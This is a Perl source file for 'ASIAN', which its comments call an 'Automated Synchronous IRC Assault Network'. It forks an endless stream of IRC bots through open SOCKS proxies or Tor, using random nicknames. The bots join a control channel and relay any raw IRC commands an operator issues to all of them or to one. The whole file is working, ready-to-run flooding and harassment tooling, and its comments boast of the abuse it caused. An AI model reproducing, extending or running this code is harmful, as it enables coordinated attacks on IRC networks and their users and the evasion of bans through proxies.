source: trollforge/rucas/asian.pl @ 212

#!/usr/bin/perl
# ASIAN v0.5 by Rucas
# Automated Synchronous IRC Assault Network
# Based on AYSYN by mef
#
# Make sure to put a SOCKS4/5 proxy list in proxies.txt in the same
# directory as this script.  If you'd like to use tor, you can put
# the correct info on one line in proxies.txt and this app will
# still function properly.  Currently, there is a dirty hack to make
# both SOCKS4 and SOCKS5 proxies work, where two connections are
# attempted to each proxy provided using both SOCKS4 and SOCKS5
# simultaneously.  Hey, it works.
#
# ASIAN will constantly attempt to add more bots, if you leave it
# running, each thread it spawns will spawn Perl, and will eventually
# cause your RAM to become overutilized, although in testing this was
# not an issue.
#
# All bots join $channel and are issued raw irc commands from there
# using syntax "all PRIVMSG Rucas :lol you fail it" for all bots or
# "botname PRIVMSG Rucas :lol failure" and such.
#
# Testing of an early version of this script is the reason that
# Freenode now checks for open SOCKS proxies.

use warnings;
use strict;
use threads;
use threads::shared;
use Net::SOCKS;
use Crypt::RandPasswd;

sub server {
        my @servers = ("irc.buttes.org");
        return $servers[rand(@servers)];
}
our $port        = "6667";
our $channel     = "#asian";
sub fullname { return Crypt::RandPasswd->word(2, 7); }
sub nickname { return Crypt::RandPasswd->word(2, 7); }
our @thr;
our @proxies = ();
our $rand    = 0;
our $count   = 0;

sub bot {
        my %settings = @_;
        my $socket     = new Net::SOCKS(
                socks_addr   => $settings{sockshost},
                socks_port   => $settings{socksport},
                protocol_version => 4,
        );
        my $sock = $socket->connect(
                peer_addr => server(),
                peer_port => $port,
        );
        unless ($sock) { warn "Bot $settings{nick} Connection Failed: $settings{sockshost} $settings{socksport} "; return; }
        print $sock "NICK $settings{nick}\r\n";
        print $sock "USER ".Crypt::RandPasswd->word(2, 7)." 8 * :".fullname()."\r\n";

        while ( my $input = <$sock> ) {
                if ( $input =~ /^PING(.*)$/i ) {
                        print $sock "PONG $1\r\n";
                }
                print "$input\n";
                if ( $input =~ /004/ ) {
                        last;
                }
                elsif ( $input =~ /433/ ) {
                        warn "Nickname is already in use.";
                return;
                }
        }

        print $sock "JOIN $channel\r\n";
        while ( my $input = <$sock> ) {
                chop $input;
                print "-> $settings{nick} $input\n";
                if ( $input =~ /^PING(.*)$/i ) {
                        print $sock "PONG $1\r\n";
                }
                if ( $input =~ /PRIVMSG $channel :all (.*)$/i ) {
                        print $sock "$1\r\n";
                        print "<- $settings{nick} $1\r\n";
                }
                if ( $input =~ /PRIVMSG $channel :$settings{nick} (.*)$/i ) {
                        print $sock "$1\r\n";
                        print "<- $settings{nick} $1\r\n";
                }
        }
        $socket->close();
}

sub botfive {
        my %settings = @_;
        my $socket     = new Net::SOCKS(
                socks_addr   => $settings{sockshost},
                socks_port   => $settings{socksport},
                protocol_version => 5,
        );
        my $sock = $socket->connect(
                peer_addr => server(),
                peer_port => $port,
        );
        unless ($sock) { warn "Bot $settings{nick} Connection Failed: $settings{sockshost} $settings{socksport} "; return; }
        print $sock "NICK $settings{nick}\r\n";
        print $sock "USER a".sprintf("%1x ",int(rand(999999)))." 8 * :".fullname()."\r\n";

        while ( my $input = <$sock> ) {
                if ( $input =~ /^PING(.*)$/i ) {
                        print $sock "PONG $1\r\n";
                }
                print "$input\n";
                if ( $input =~ /004/ ) {
                        last;
                }
                elsif ( $input =~ /433/ ) {
                        warn "Nickname is already in use.";
                return;
                }
        }

        print $sock "JOIN $channel\r\n";
        while ( my $input = <$sock> ) {
                chop $input;
                print "-> $settings{nick} $input\n";
                if ( $input =~ /^PING(.*)$/i ) {
                        print $sock "PONG $1\r\n";
                }
                if ( $input =~ /PRIVMSG $channel :all (.*)$/i ) {
                        print $sock "$1\r\n";
                        print "<- $settings{nick} $1\r\n";
                }
                if ( $input =~ /PRIVMSG $channel :$settings{nick} (.*)$/i ) {
                        print $sock "$1\r\n";
                        print "<- $settings{nick} $1\r\n";
                }
        }
        $socket->close();
}

sub spawn {
        open( PROXYLIST, "./proxies.txt" );
        push @proxies, map { { ip => $_->[0], port => $_->[1] } }[ split /[\:\n]/ ]
        for <PROXYLIST>;
        for (;;) {
                $rand = int( rand(@proxies) );
                my $host = $proxies[$rand]{ip};
                my $port = $proxies[$rand]{port};
                my $nick = nickname();
                print "$nick - $host:$port\r\n";
                my $pid = fork();
                if ($pid == 0) {
                        bot( nick      => $nick, sockshost => $host, socksport => $port );
                        botfive( nick      => $nick, sockshost => $host, socksport => $port );
                        exit;
                }
                sleep 2;
        } 
}
spawn();